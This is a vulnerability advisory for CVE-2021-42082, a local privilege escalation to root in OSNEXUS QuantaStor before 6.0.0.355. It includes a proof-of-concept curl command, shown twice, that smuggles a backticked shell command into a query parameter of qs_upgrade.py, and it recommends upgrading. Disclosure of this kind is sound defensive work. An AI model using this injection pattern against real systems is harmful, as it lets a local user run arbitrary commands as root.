CVE-2021-42082
Local Privilege Escalation to root in OSNEXUS QuantaStor before 6.0.0.355
| CVE | CVE-2021-42082 | |||||||||||
| Title | Local Privilege Escalation to root in OSNEXUS QuantaStor before 6.0.0.355 | |||||||||||
| Credits |
|
|||||||||||
| Affected products |
|
|||||||||||
| CVSS |
Base score:
7.8
(HIGH) |
|||||||||||
| References |
|
|||||||||||
| Problem type(s) | CWE-269 Improper Privilege Management | |||||||||||
| Date published | ||||||||||||
| Last modified | 11 Mar 2025 13:39 UTC |
Description
Local users are able to execute scripts under root privileges.
POC
On the local host run the following command:
curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'
POC
On the local host run the following command:
curl 'localhost:8154/qstor/qs_upgrade.py?taskId=1&a=;`whoami`'
Solution(s)
Upgrade to the latest version of OSNEXUS QuantaStor.
JSON version.